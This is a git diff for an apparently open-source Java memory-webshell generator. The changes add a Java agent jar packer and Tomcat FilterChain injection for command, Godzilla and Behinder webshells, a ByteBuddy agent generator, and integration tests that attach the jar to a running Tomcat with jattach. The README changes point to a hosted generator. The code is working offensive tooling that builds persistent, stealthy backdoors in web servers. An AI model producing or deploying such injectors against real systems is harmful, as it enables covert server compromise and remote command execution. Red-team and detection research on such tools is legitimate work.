diff --git a/README.md b/README.md
index 46e14a66..7466a621 100644
--- a/README.md
+++ b/README.md
@@ -4,11 +4,12 @@
一键生成常见中间件框架内存马,让内存马测试变得简单高效,打造内存马的全方位学习平台
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了
-[](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
-[](https://github.com/ReaJason/MemShellParty/actions)
-[](https://github.com/ReaJason/MemShellParty/actions)
-[](https://github.com/ReaJason/MemShellParty/actions)
-[](https://t.me/memshell)
+[](https://github.com/ReaJason/MemShellParty/actions)
+[](https://github.com/ReaJason/MemShellParty/actions)
+[](https://github.com/ReaJason/MemShellParty/actions)
+[](https://github.com/ReaJason/MemShellParty?tab=MIT-1-ov-file)
+[](https://t.me/memshell)
+
> [!WARNING]
@@ -29,6 +30,13 @@
## 快速启动
+### 在线站点
+
+可直接访问 https://party.memshell.news (没做加速,搭建在 [Northflank](https://northflank.com/) US
+节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku))
+
+### 本地部署(推荐)
+
使用 docker 部署之后访问 http://127.0.0.1:8080
```bash
@@ -41,12 +49,13 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
### 中间件以及框架
-| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
-|----------------|---------------|------------------|---------------|
-| Servlet | Servlet | Filter | Filter |
-| Filter | Filter | Listener | Listener |
-| Listener | Listener | Valve | Valve |
-| Valve | | | |
+| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
+|---------------------|---------------|------------------|---------------|
+| Servlet | Servlet | Filter | Filter |
+| Filter | Filter | Listener | Listener |
+| Listener | Listener | Valve | Valve |
+| Valve | | | |
+| FilterChain - Agent | | | |
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|--------------|-------------------|-----------------|-------|
@@ -66,11 +75,11 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
| Filter | Filter |
| Listener | Listener |
-| 宝兰德 BES(9.5.x) | 东方通 TongWeb(6 ~ 7) | 中创 InforSuite AS (9 ~ 10) | 金蝶 Apusic AS (9) |
-|----------------|--------------------|---------------------------|------------------|
-| Filter | Filter | Filter | Servlet |
-| Listener | Listener | Listener | Filter |
-| Valve | Valve | Valve | Listener |
+| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
+|------------|----------------|------------------------|---------------|
+| Filter | Filter | Filter | Servlet |
+| Listener | Listener | Listener | Filter |
+| Valve | Valve | Valve | Listener |
### 内存马功能
diff --git a/asserts/agent/jattach-linux b/asserts/agent/jattach-linux
new file mode 100755
index 00000000..e924f5de
Binary files /dev/null and b/asserts/agent/jattach-linux differ
diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java
index a0fa3cd0..aa45b2d8 100644
--- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java
+++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java
@@ -7,9 +7,12 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.packer.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
+import java.util.Base64;
+
/**
* @author ReaJason
* @since 2024/12/18
@@ -24,7 +27,12 @@ public class GeneratorController {
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
- String packResult = request.getPacker().getPacker().pack(generateResult);
+ String packResult = null;
+ if (request.getPacker().getPacker() instanceof JarPacker) {
+ packResult = Base64.getEncoder().encodeToString(request.getPacker().getPacker().packBytes(generateResult));
+ } else {
+ packResult = request.getPacker().getPacker().pack(generateResult);
+ }
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
}
-}
+}
\ No newline at end of file
diff --git a/generator/build.gradle b/generator/build.gradle
index bf37eb5d..0d4ad59d 100644
--- a/generator/build.gradle
+++ b/generator/build.gradle
@@ -47,7 +47,7 @@ dependencies {
implementation 'javax.servlet:javax.servlet-api:3.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
- implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
+ implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
implementation 'xalan:xalan:2.7.0'
implementation 'org.apache.bcel:bcel:5.2'
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java
index 9f29b6b5..98be07a0 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java
@@ -1,10 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.generator.BehinderGenerator;
-import com.reajason.javaweb.memshell.generator.CommandGenerator;
-import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
-import com.reajason.javaweb.memshell.generator.InjectorGenerator;
+import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java
index 419767f3..ee3692cb 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java
@@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
+import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
+import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
+import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
@@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
+ public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
+ public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain";
@Override
protected Map, Class>>> getCommandShellMap() {
- return Map.of(
- SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
- JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
- FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
- JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
- LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
- JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
- VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
- JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
- WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
+ return Map.ofEntries(
+ Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
+ Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
+ Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
+ Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
+ Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
+ Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
+ Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
+ Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
+ Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
+ Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
+ Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
);
}
@@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell {
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
- JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
+ JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
+ AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
+ AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
@@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell {
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
- JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
+ JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
+ AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
+ AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java
index 48aeefc2..acb60e76 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Constants.java
@@ -18,4 +18,6 @@ public class Constants {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
+
+ public static final String AGENT = "Agent";
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java
new file mode 100644
index 00000000..c984a90e
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java
@@ -0,0 +1,42 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/28
+ */
+public class AgentGenerator {
+
+ private final ShellConfig config;
+ private final InjectorConfig injectorConfig;
+
+ public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
+ this.config = config;
+ this.injectorConfig = injectorConfig;
+ }
+
+ public byte[] getBytes() {
+ DynamicType.Builder> builder = new ByteBuddy()
+ .redefine(injectorConfig.getInjectorClass())
+ .name(injectorConfig.getInjectorClassName())
+ .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
+ .method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
+
+ if (config.isDebugOff()) {
+ builder = LogRemoveMethodVisitor.extend(builder);
+ }
+
+ try (DynamicType.Unloaded> make = builder.make()) {
+ return make.getBytes();
+ }
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java
index 6d0aa2a7..5b50af87 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.implementation.FieldAccessor;
-import net.bytebuddy.implementation.SuperMethodCall;
-import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
/**
* @author ReaJason
* @since 2024/12/21
@@ -28,7 +27,7 @@ public class BehinderGenerator {
public DynamicType.Builder> getBuilder() {
if (behinderConfig.getShellClass() == null) {
- throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
+ throw new IllegalArgumentException("behinderConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
@@ -39,11 +38,9 @@ public class BehinderGenerator {
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
- .constructor(ElementMatchers.any())
- .intercept(SuperMethodCall.INSTANCE
- .andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
- .andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
- .andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
+ .field(named("pass")).value(md5Key)
+ .field(named("headerName")).value(behinderConfig.getHeaderName())
+ .field(named("headerValue")).value(behinderConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java
index 5fe760da..95bb64df 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java
@@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.implementation.FieldAccessor;
-import net.bytebuddy.implementation.Implementation;
-import net.bytebuddy.implementation.SuperMethodCall;
-import net.bytebuddy.matcher.ElementMatchers;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
@@ -22,13 +20,12 @@ public class CommandGenerator {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
- Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
- .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
+
DynamicType.Builder> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
- .constructor(ElementMatchers.any()).intercept(fieldSets);
+ .field(named("paramName")).value(shellConfig.getParamName());
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java
index 701d9406..30e5bb14 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
-import net.bytebuddy.implementation.FieldAccessor;
-import net.bytebuddy.implementation.SuperMethodCall;
-import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
/**
* @author ReaJason
* @since 2024/11/23
@@ -40,13 +39,11 @@ public class GodzillaGenerator {
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
- .constructor(ElementMatchers.any())
- .intercept(SuperMethodCall.INSTANCE
- .andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
- .andThen(FieldAccessor.ofField("key").setsValue(md5Key))
- .andThen(FieldAccessor.ofField("md5").setsValue(md5))
- .andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
- .andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
+ .field(named("pass")).value(godzillaConfig.getPass())
+ .field(named("key")).value(md5Key)
+ .field(named("md5")).value(md5)
+ .field(named("headerName")).value(godzillaConfig.getHeaderName())
+ .field(named("headerValue")).value(godzillaConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java
new file mode 100644
index 00000000..ebc120ee
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java
@@ -0,0 +1,83 @@
+package com.reajason.javaweb.memshell.packer;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import org.apache.commons.io.FileUtils;
+import org.apache.commons.io.IOUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.net.URL;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Enumeration;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/1
+ */
+public class AgentJarPacker implements JarPacker {
+
+ @Override
+ @SneakyThrows
+ public byte[] packBytes(GenerateResult generateResult) {
+ Path jarPath = Files.createTempFile("temp", ".jar");
+ String mainClass = generateResult.getInjectorClassName();
+ String advisorClass = generateResult.getShellClassName();
+
+ Manifest manifest = new Manifest();
+ manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+ manifest.getMainAttributes().putValue("Agent-Class", mainClass);
+ manifest.getMainAttributes().putValue("Premain-Class", mainClass);
+ manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
+ manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
+
+ try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
+ addDependency(targetJar, ByteBuddy.class);
+
+ if (generateResult.getShellConfig().isJakarta()) {
+ addDependency(targetJar, jakarta.servlet.Servlet.class);
+ } else {
+ addDependency(targetJar, javax.servlet.Servlet.class);
+ }
+
+ targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
+ targetJar.write(generateResult.getInjectorBytes());
+ targetJar.closeEntry();
+
+ targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
+ targetJar.write(generateResult.getShellBytes());
+ targetJar.closeEntry();
+ }
+ byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile()));
+ FileUtils.deleteQuietly(jarPath.toFile());
+ return byteArray;
+ }
+
+ @SneakyThrows
+ public static void addDependency(JarOutputStream targetJar, Class> baseClass) {
+ String packageToMove = baseClass.getPackage().getName().replace('.', '/');
+ URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
+ JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
+ Enumeration entries = sourceJar.entries();
+ while (entries.hasMoreElements()) {
+ JarEntry entry = entries.nextElement();
+ String entryName = entry.getName();
+ if (entryName.startsWith(packageToMove)) {
+ InputStream entryStream = sourceJar.getInputStream(entry);
+ targetJar.putNextEntry(new JarEntry(entryName));
+ IOUtils.copy(entryStream, targetJar);
+ targetJar.closeEntry();
+ entryStream.close();
+ }
+ }
+ sourceJar.close();
+ }
+}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java
new file mode 100644
index 00000000..d993363e
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/JarPacker.java
@@ -0,0 +1,8 @@
+package com.reajason.javaweb.memshell.packer;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/1
+ */
+public interface JarPacker extends Packer {
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java
index 1eb66286..f8751b76 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java
@@ -17,7 +17,13 @@ public interface Packer {
* @param generateResult 生成的内存马信息
* @return 指定格式字节数组
*/
- String pack(GenerateResult generateResult);
+ default String pack(GenerateResult generateResult) {
+ throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
+ }
+
+ default byte[] packBytes(GenerateResult generateResult) {
+ throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
+ }
/**
* 部分打包器可能需要配置来进行额外的配置项
@@ -70,6 +76,8 @@ public interface Packer {
Freemarker("Freemarker", new FreemarkerPacker()),
Velocity("Velocity", new VelocityPacker()),
+
+ AgentJar("AgentJar", new AgentJarPacker()),
;
private final String desc;
diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java
new file mode 100644
index 00000000..43d3b408
--- /dev/null
+++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java
@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
+import com.reajason.javaweb.util.ClassUtils;
+import lombok.SneakyThrows;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.jar.asm.Opcodes;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.nio.file.Files;
+import java.nio.file.Path;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/1
+ */
+class GodzillaGeneratorTest {
+
+ @Test
+ @SneakyThrows
+ void generate() {
+ ShellConfig shellConfig = ShellConfig.builder()
+ .server(Server.Tomcat)
+ .shellTool(ShellTool.Godzilla)
+ .shellType(Constants.SERVLET)
+ .targetJreVersion(Opcodes.V1_6)
+ .debug(true)
+ .build();
+ GodzillaConfig godzillaConfig = GodzillaConfig.builder()
+ .shellClass(GodzillaServlet.class)
+ .pass("pass")
+ .key("key")
+ .headerName("User-Agent")
+ .headerValue("test").build();
+ DynamicType.Builder> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
+ Class> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
+ Object o = loaded.getDeclaredConstructor().newInstance();
+ assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
+ assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
+ assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue"));
+ }
+}
\ No newline at end of file
diff --git a/integration-test/build.gradle b/integration-test/build.gradle
index b292971c..0fa27309 100644
--- a/integration-test/build.gradle
+++ b/integration-test/build.gradle
@@ -17,6 +17,10 @@ dependencies {
testImplementation project(":behinder")
testImplementation project(":godzilla")
testImplementation project(':generator')
+ testImplementation 'javax.servlet:javax.servlet-api:3.0.1'
+ testImplementation 'javax.websocket:javax.websocket-api:1.1'
+ testImplementation 'org.java-websocket:Java-WebSocket:1.5.7'
+ testImplementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
testImplementation 'org.hamcrest:hamcrest:3.0'
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
diff --git a/integration-test/script/tomcat_pid.sh b/integration-test/script/tomcat_pid.sh
new file mode 100755
index 00000000..0af57ef9
--- /dev/null
+++ b/integration-test/script/tomcat_pid.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+ps -ef | grep Bootstrap | grep -v grep | awk '{print $2}' | tr -d '\n'
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java
index 02b7e5ea..ba68ea0c 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java
@@ -22,6 +22,9 @@ public class ContainerTool {
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Paths.get("../vul/vul-springboot3-webflux/Dockerfile").toAbsolutePath();
+ public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
+ public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
+
public static String getUrl(GenericContainer> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
index 128b0ec3..be09d8bc 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
@@ -4,8 +4,19 @@ import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.memshell.SpringMVCShell;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.memshell.packer.JarPacker;
import com.reajason.javaweb.memshell.packer.Packer;
+import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
+import org.testcontainers.containers.GenericContainer;
+import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
+import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
+import org.testcontainers.utility.MountableFile;
+
+import java.nio.file.Files;
+import java.nio.file.Path;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -13,17 +24,58 @@ import lombok.extern.slf4j.Slf4j;
*/
@Slf4j
public class ShellAssertionTool {
+
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
+ testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
+ }
+
+ @SneakyThrows
+ public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer, GenericContainer> container) {
String shellUrl = url + "/test";
- InjectorConfig injectorConfig = new InjectorConfig();
+ String urlPattern = null;
if (shellType.endsWith(Constants.SERVLET)
|| shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
) {
- String urlPattern = "/" + shellTool + shellType + packer.name();
+ urlPattern = "/" + shellTool + shellType + packer.name();
shellUrl = url + urlPattern;
+ }
+
+ GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
+
+ String content = null;
+ if (packer.getPacker() instanceof JarPacker) {
+ byte[] bytes = packer.getPacker().packBytes(generateResult);
+ Path tempJar = Files.createTempFile("temp", "jar");
+ Files.write(tempJar, bytes);
+ String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
+ container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath);
+ FileUtils.deleteQuietly(tempJar.toFile());
+ String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
+ String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
+ assertTrue(stdout.contains("JVM response code = 0"));
+ } else {
